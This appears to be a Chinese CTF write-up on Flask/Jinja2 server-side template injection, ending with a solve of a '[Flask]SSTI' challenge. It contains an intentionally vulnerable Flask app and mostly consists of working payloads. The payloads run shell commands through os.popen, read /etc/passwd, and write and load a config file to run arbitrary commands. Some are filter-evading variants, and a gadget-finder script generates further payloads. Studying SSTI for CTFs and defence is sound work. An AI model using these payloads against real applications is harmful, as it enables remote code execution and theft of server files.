原理
详细可以看这个大哥写的:https://www.cnblogs.com/bmjoker/p/13508538.html
from flask import Flask, request
from flask import render_template, render_template_string
app = Flask(__name__)
'''
命令执行:
ls
{{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}
实例演示:
'''
@app.route("/index")
def hello():
# code = request.args.get("ssti")
# return render_template_string("index.html", flag=code)
code = request.args.get('ssti')
html = '''
<h1>qing -SSIT</h1>
<h2>The ssti is </h2>
<h3>%s</h3>
''' % (code)
return render_template_string(html)
if __name__ == '__main__':
app.debug = True
app.run()
"""
python2:
读文件:
{{config.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
任意执行:
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
"""
漏洞函数render_template_string,是jinja把{{}}内容解释成变量,执行命令.
附上注入脚本
#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__',
'__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__',
'__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__',
"__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__', '__getitem__',
'__setitem__', '__iter__', '__delitem__', '__reversed__', '__contains__', '__add__', '__sub__', '__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.' + attr + ')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"' + goal + '" in i.' + attr + '.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__, ":", attr, goal)
else:
print(
"{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
'''
实例:
payload例1:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='PercentStyle' %}{{ c.__init__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
实际提交: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='PercentStyle' %}{{ c.__init__.__globals__['__builtins__'].open("app.py","r").read() }}{% endif %}{% endfor %}
*读取文件列表:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
*读文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
'''
题目
[Flask]SSTI
这题目进去没什么提示,那就直接去看源码,源码很简单
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
得知参数为name,直接丢探针name={{2*1}}
之后基本就是固定套路了,读文件ok